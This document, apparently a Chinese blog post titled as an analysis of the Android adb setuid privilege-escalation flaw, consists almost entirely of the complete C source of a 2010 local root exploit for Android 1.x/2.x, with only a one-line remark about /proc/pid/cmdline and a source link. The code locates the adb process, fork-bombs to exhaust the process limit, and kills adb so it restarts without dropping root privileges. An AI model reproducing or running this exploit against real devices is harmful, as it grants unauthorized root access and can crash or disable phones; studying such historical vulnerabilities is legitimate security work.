Android adb setuid提权漏洞之分析

/* android 1.x/2.x adb setuid() root exploit
 * (C) 2010 The Android Exploid Crew
 *
 * Needs to be executed via adb -d shell. It may take a while until
 * all process slots are filled and the adb connection is reset.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}

pid_t find_adb()
{
	char buf[256];
	int i = 0, fd = 0;
	pid_t found = 0;

	for (i = 0; i < 32000; ++i) {
		sprintf(buf, "/proc/%d/cmdline", i);
		if ((fd = open(buf, O_RDONLY)) < 0)
			continue;
		memset(buf, 0, sizeof(buf));
		read(fd, buf, sizeof(buf) - 1);
		close(fd);
		if (strstr(buf, "/sbin/adb")) {
			found = i;
			break;
		}
        }
        return found;
}


void restart_adb(pid_t pid)
{
	kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
	pid_t p = 0;

	for (;;) {
		p = find_adb();
		if (p != 0 && p != old_adb)
			break;
		sleep(1);
	}
	sleep(5);
	kill(-1, 9);
}


int main(int argc, char **argv)
{
	pid_t adb_pid = 0, p;
	int pids = 0, new_pids = 1;
	int pepe[2];
	char c = 0;
	struct rlimit rl;

	printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
	printf("[*] checking NPROC limit ...\n");

	if (getrlimit(RLIMIT_NPROC, &rl) < 0)
		die("[-] getrlimit");

	if (rl.rlim_cur == RLIM_INFINITY) {
		printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
		exit(1);
	}

	printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
	printf("[*] Searching for adb ...\n");

	adb_pid = find_adb();

	if (!adb_pid)
		die("[-] Cannot find adb");

	printf("[+] Found adb as PID %d\n", adb_pid);
	printf("[*] Spawning children. Dont type anything and wait for reset!\n");
	printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
	       "[*] [email protected] so we can compensate time, effort and HW costs.\n"
	       "[*] If you are a company and feel like you profit from our work,\n"
	       "[*] we also accept donations > 1000 USD!\n");
	printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

	sleep(5);

	if (fork() > 0)
		exit(0);

	setsid();
	pipe(pepe);

	/* generate many (zombie) shell-user processes so restarting
	 * adb's setuid() will fail.
	 * The whole thing is a bit racy, since when we kill adb
	 * there is one more process slot left which we need to
	 * fill before adb reaches setuid(). Thats why we fork-bomb
	 * in a seprate process.
	 */
	if (fork() == 0) {
		close(pepe[0]);
		for (;;) {
			if ((p = fork()) == 0) {
				exit(0);
			} else if (p < 0) {
				if (new_pids) {
					printf("\n[+] Forked %d childs.\n", pids);
					new_pids = 0;
					write(pepe[1], &c, 1);
					close(pepe[1]);
				}
			} else {
				++pids;
			}
		}
	}

	close(pepe[1]);
	read(pepe[0], &c, 1);


	restart_adb(adb_pid);

	if (fork() == 0) {
		fork();
		for (;;)
			sleep(0x743C);
	}

	wait_for_root_adb(adb_pid);
	return 0;
}

一个进程的命令行保存在文件/proc/pid/cmdline中

http://www.claudxiao.net/2011/04/android-adb-setuid/